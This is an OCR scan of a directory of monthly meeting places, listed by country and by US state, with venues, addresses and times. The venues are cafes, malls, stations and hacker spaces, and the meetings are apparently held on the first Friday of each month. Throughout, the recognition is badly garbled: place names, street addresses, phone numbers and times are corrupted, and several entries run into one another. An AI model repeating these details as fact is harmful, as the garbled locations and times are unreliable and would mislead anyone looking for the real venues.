Ullt<: Onu·1d·l'lll(( (P11110C Outrk:s de 
G11ulk:) tn fruna oftbt Fute:t du NonS 
book:ston:. 7;30 pm 
P•rts: M��ee de b R.eplbltqiX, oppc»ite 
thr �n1pty fOUM:ain. 6 pen 
Rtru�C'li: 8.-k Goldert C�tte. Rue 5( 
Ckofg« a Realtltli ll pm 
Rou.cn: Place de 1:6 CAlhcdrale. bcmches 
lA) 1ht riaht. a pm 
Too lout: Pbcc du CapitoiC' b)' the 
bcm'OO. neu !he f� food artd the 
CapriOle waiJ 1:30 pn1 

GREECE 
Athf'r_,: Ouuide the bOOU1ore 
PajXL�ohnoo Oft the t"'mn' ol Patision and 
SIOIIfi'IIM 7pm 

IREI.AND 
t)ubUn; At the payptl011e1 btskk the: 
Dublin Toutl:sm Jnf(l(mlatiOtl CcntteOI\ 
SuJTolk St 1 pm 

ISRAEL 
•IM!It Shmltsb: Ln the! bra fiU.hlot1 Mall 
(.cross from lnlin �ation), lii!COnd Boor. 
foode<M1.1�; 1�81Q0.8()).$J.S.7pm 
•Saftd: Counyntd of A�hkuuw An. 

ITAl.V 
�1Jian: Puna �..otero'" froM of 
Mcl)c)lgJdl 

Mtxl�o City: "'Zocalo" Si.tbway Su.tion 
(Lux 2 oflbc "ME'TRO�wbway.the 
blue one). At !he '"l}q».rllmtntO dd 
O�nto fc:«:rul"' Clllt, nco.-the! p;t)'pbgi)C'"' 
atld lht candy shop, • tht bcJinllbtJ of 
lbc -zoc.Jo-J>krto S�&t�«z." tunnel 

N£TII€RI-""'f DS 
Utl't'<'ht: lrt fmnc orthc 8u�r K1 n1•1 
U�rtefltC'c:niRl Stllltoolpm 

NOR. WAY 
Oslo: Se:nu.& Train Stal.ion 111 tht 
.. Meeting poanf' III'C'a ln dre frnl.in lull 
'""' 
nom�: The upper nocr at Blo.;r, Rock 
Caf�.Stnand�ml4.6pm 

PERU 
Urna: 61UbiJoiUII (e:< Ape S.ur), en 
Alcanfores •55. Mrtafl01t$,al tht �ad of 
'1\nlta St. 8pm 
itujlllo: Sto1rbuttJ. M11ll A\'enturu 
Plal11..6 pm 

Pl-fll.IPPIN€S 
Quuon City: <.."booobn.e XiH aroond 
Roar-, BaWiy ng Alumni, Univcn11yofthe 
Phillpprnc:t Drlltn.-.:n. A pm 

RUSSIA 
M�w: P\rb l..oniCraf'I.Puk.rovkaSt 
1/13/6. 7 pm 

SWEDE.� 
Stoc::kholm: SllllbuckJ 111 Se!IC:kMim 
Ccntnl Starioo. 

SWIT?\&RI.ANO 
LlusanM: In fmnt oftbt MacOo b6klc 
the uain stuboo 1 pm 

TIIAll.ANI> 
Bangkok: The Connection Scmmar 
Ceucer 6:30 pm 

UNITEI> KINGDOM 
England 

f:Sri�lon: AI the phone llo'lU b)• tbc 
Sc;alifcCcmrt (lll.'fOn lhc:rolld [rom 
I� P:IIIIQC P1cr •• Payphole: {0 121)) 
606674 ., pm 
Lt«J.s: The Brt:wery lip Leed!. 1 pm 
l.ondon: l'I'(K."a(kro S:hOW•D.IJ Cttucr 
(..ear Piceadlll)' CitCUJ).froftt emraace 011 
Covc:nlly Sl 6:30 pm 
M.anc�IC'r. 6ull• lle:td Pub Ofl J...ond(ltl 
Rd 7:JOpm 
NorWieb: t!nln�nce IO�Ifield Mall, 
under tbr: blgscrttoTV.6 pm 

Sc:otl•rWI 
Glasgow: S�.ot.tbucL.t�, 9 Eldl:an,;� 
1'1.6pm 

w.l .. 
E'lllloe: Sc. Davtd'$ Hoo:l 

UNITt:D STATES 
Al.abanu 

Auburn: � st\kknt klunge upsaurs in 
the Foy Union Bulldina.l pm 

Ari:rona 
PhCK"nl"(l\1�): llcac$)11CI.III», J<l()W 
MaiB St. 6 prn 
l�tt: Mctbod Co«ct:, JI80 Wd)C)w 
Creek Rd 6pm 
Th<:!ion: SUIU\)' O.:t.e Cak. 6 pm 

A.rlutmlw 
...... Sm1lh: RlvcrC1t)' l)rh lit 7310 
Rogc.n Ave. 6 pm 

Callfornll 
Arta.h�lm (Fulltttoo): 2JbShop ... l8 
E Commonwe�Jtb Ave (blstnc» piUic 
bthrnd ttlc chnft �Of'('). 1 pm 
Cbko: Starbuc-ks. 146 B!Wdway 
S1 6pm 
Los Ans;e�: Unl(ICI SWtllll'l, tnJtdc m:un 
enlmlte (AIIlmC'da St side) oe:JT che 
Tn:u:xRar 
Monterey: EIL.\1 Vdl� Correc Lwngc. 
S:30pm 
Sacnunmlo: llackcr l.ab. I71S J St 
&us Diqo: Rcp:ntJ Pim.4150 ��ent� 
Part Row 1110. 
San FrandKo: 4 Hmb.-.atdcro Center 
ncar •trcct le\'el rount.ai ... 6 prn 
San Jose: 0uLoJide the! e;d'c IU tbr MLK 
Ubnlll)' Dl 4lh and E Sartfonruldo. 6 pm 

Col.....to 
t-'ort CoUirui: 1>;\lboJ Ct�IY�. 27l1 
Council Tree Ave. 1 pm 

Conrtf'tdcul 
Newln1ton: Pancra Bread. 3 I 20 lkrli 11 

1-lorida 
lo'(lrl lAU<I('rdoJe: UrMktiV¢'1Dib; 
CoR'ecbatJ$.J020 N �tAJ Hwy. 7 pn\ 
Galnts\'IUe: In lhr b:ld. of the Um,·cnity 
ort-l(ll'i(lol·s Refit Union food COUrt 6 J'm 
JadtM!n�lllf: Kiclbx:ls Ga.•.ttopub. 910 
Kina St. 6:JO pm 
Melbourne: S11n Shoppe Cafe, S40 E 
New H•vcnAve. S:JO pm 
Scltrins:: l.akt:'(� Mall food t:Ott:n.lk.lll 
10 pa) phonn. 6 ptn 
Titll)viUe: Bar iX.Jll S WMlt•ngton 
A,.-. 

Gtorc.l• 
Atlanbl: Lcoo.x MWJ foodrourt 7 pm 

tlawail 
lllk1: Pnnce Kuhlo Pl2.1.a food coon. Ill 
EIK1 Puauud..o Sr 

ldabo 
Uoist': OSU St!Jdc:nt Un1on 6ulkl�na. 
IIJ'I)trutl from lllc nuin cnltut.CC 
Pa)'lll>oo<s• (208) 342·'1'100 
POC'aldlo: H11»ide L.oun�. I 17 S Mnm 
St.6pm 

Utinois 
Chlnoi'J: SP""' by Doo:p, +14 N 
Wllb.»h.''" noor.6 pm 
Peorb: Starbucb, 1200 \'ku M:un S1. 

Indiana 
Evaasvill�: 8.artto & Noble. c.fe IU 624 S 
G.rttn Rrvcr Rd. 
l•�ll•napolk: T'o!l111t1100n Tap RoorJ'I. City 
M3tkec. 2nd ltoor 
Wt.>l I.AifK)elle: J.a).;e's Ruudh<itr�. 13$ 
S Chuuntt)' A\-c 

lowo 
Ames: Mt'monu.l Union BmJdtn& (ocd 
wwtiiiii iJte Iowa S1111c Unrvcntt)'. 
Oa•enporl: C�Ub, 627 W lod St 

Kans.u 
Kansas CU)' <O"�rlud l:o,._rl!): Uai'JIQ & 
r..� tafc. Oak Part M.afl 
Wkhlt:a: Rhrmdc Ptrl.. ll44 Bttuog 
A•� 

I.Auisi:t�na 
Nt:w ()l"leans: Z'o.-1: CofTt't' HOtl'it: 
uptowa. 82100d: 54. 6 pm 

MAIO(' 
PorUau1d: Mtme M11ll by the bc:t�t:h at the 
food court door 6 ptn 

Mlll")'ltmd 
Balllml)re: 9al'fte\ &. Nobk a:afe :u d��r. 
lnnerH:ubor 

Mas.qctltl�t5 
Boston: Strattoo Student Center 
(Bu•ldmg W20) at MIT 1ft the 21\d nlXIf 
kttrnae ILl"Ca. 1 pm 

�llclli&llrt 
AIUt Arbor: �Urbocks in 1bc Gallm11 on 
S Unl�en:11)'. 7 pn 

Mlnut:504:a 
Bloomington: Mall of Amerral food 
t'OI.Irt in rroo, of 8UrJoet Krn,. 6 pift 

Mluouri 
St . Loulr. Anil Reactor Hacker Spia«. 
221 S Scott /w� 6 pm 

Mon&•nll 
Helen•: Hall btslde OX 11 Lundy Cctltcr . 

Ncb�ka 
()m:Dha: We-<�;tf'Oirdi Mnll food CQI.Irt rw:ar 
SOtllh cnttane'e. 1000\ and Dod&�-1 pm 

Nt:'·•d• 
£1ko: UberOili!IC$ tndTe.:hnology. l071 
ld�Sc 6pm 
l...a.'(: V�s Ulmdenon): Las Vega.� 
H!lekenpacc, 107S Amencan Pl!Cibc Dr 
Su1teC.6pm 
Rt>no: Bllma: & Nnbk Starbu..;b SSS$ 
S. VifJ:itlja St. 

Ncwll•m�dn! 
KHne: 1..()(111 Bur;«. 82 Main St 7 p1n 

N�wJI!'tW'/ 
SQnM't'VIUe: Drugonlt)' C•fe. 14 E 
MumSI. 

New York 
Albtmy: S�bucb. l2:44 Westc.'m 
Av�. 6 pm  
N'.-w Yoril:: Citl£m>UP Cc.'luer, m the: 
lobby, 153 E 5Jtd St. between Lolngtoo 
&Jol. 

Onc::lnnatJ: H1'lcll. 2929 Spnn£ Grove 
A\·e "'prtl 0c.'Vdand (Wiltf'f'rl)"'llk! lleiSLhto�;): P:�nera 8n=ad,4103 RlduoonJ Md. 
CohJmbll.�: Fmrtt or the food C:CMI.rt 
fo11nt•1rt ln l:i.:bcon Mtdl 1 pm 
0111y1oo: M111100.<1 Pw.u-11 ,.rr '2.0. �991 
Krng�otld&e Dr .. bclamd IJ�e D.t)'tl'lfl MAll 
offSR-741 
\'oun�to"n jNIIcos): Panm Btc3d, $615 
YOII"&�Own W11mn Rd 

OklnhMua 
Oklabom• City: Cafe Bdl.a. iQLrtbQu 
rornerofSW 89tl\ St u.nd Ptr�rt 

o....,. 
l�rtl:and:Thl'o's.l21 NWSthAvc: 7pw 

PtnM)Ivlmb 
Allcr�l()w-n: Pa1JCI'll 0�1.1, \I()() W 
Tllt,.hn\ln S1. � J"'IY'I 
1-lllrrisburg: Pu.AC':rv. 8read.4263 Un.on 
OcJQ t Rd 6pm 
Phll11driphb: 30th St StubM, f� C10W1 
wbidc 'l'llcu Bell ' '0 J'm 
Pht'f.blttJII: Tu:t O'Oro, I llS NOrth 
H&gbl:�ndAve at roond ubk by rroot 
�uldow 
Stat�· Collq_": rn d�t IIVU abo\'C the 
su�hr �liCe (M'I IIIC Ptnn Stacc CflliiJIU\ 

1\IC'rco RJc.'o 
S11n Ju1Lft: P'llv;� l..l.\ Amctit'<l\ on 
hrt.t noor 
1\-�llto Ahu: The Offi« lnsh Pub 
1:30pna 

South Dakob 
Sioux t'tllb: ErJIPltC Mall.by Uq(r 
Ku� 

1lmn�-...t't' 
Knox�lUt; Wcsr 1'own M.flll food 
COOI1.6pm 
Memphis: Repubht Coffc:e, 2924 Walnut 
CrovcRd.()pn1 
Na.!>.htUic: J;ramlll Inc .• 9 l..ta A'·e b (1m ........ 
Austla: Tilt Ouoon Collo.:.Ci\'4:� . • ��� 
O&iooo St. Sunc 0 1 p.n 
l>11ll�G: W•l� ·rurt.cy. 2470 \Valnul lhll 
ln 7p�n 
llou�oa: Ntnf•'.). Exprn..' !oe:o�ting arc:a, 
Galleria IV. 6 pm 
l,l11no: hruneen Ei;tlk'cn Cu(f('('houic:, 
141�A.,.e K 6pm 

Vcmtont 
8u•1illJ:,tOn: The Burhngtoo Town Cent« 
M:tll food t1ourt under the: Main 

Virginia 
1\rUnl(ton: (e.cc: l)istrkt ofColu•nbl:a) 
8l.adt1bUtJ: Squrres Srladult Center a.t 
Vi�tin•a Tech. 1 18 N Matn St 7 pm 
t.:hartonorille: Pancrn a�:&t.l at the 
OUI'1"ado:, RQCid Slqlpln1 Ccn�.c& 6:l0 pm 
Rkhaaond: Hlld:.RVA 1600 RC»c.'ne-... IJi 
Rd.6 pn1 

\\'Winxton 
Snlllor: Cafe All>eJro. u�:r'"·"ZI" 
UJII\'CN()' Wa)' l"if! (aile)' en��). 6 pm 
Spak:lu:M-: The ServM:e Slllhoo, llJ I� N 
Newda tNonh SJd,u.11e) 
TIKOIIIll:lkomo Mall food c:.:mn 6pm 
WtniiKh«': ll.:rJp Moontlllfl AtewrntJ. 
I Oroodo Mc. 

Mlldl.;oo: Fau Tr.adc: CfofTtt 1-lou"iC'. 
4135wl-SI 

All ".eftlh:CS take pl:.c� on lht' Br.U 
fridAy of Ltle month fa • Jndk:�tC� 

a mttUog Umi'S hdd (Ill I he (ln,� 
n1unday (tftht ftl(t!Uhj. l)n.Jcs.<( 
o1tl�t'Wisor n<Ktd.2MJO n1rdln� 
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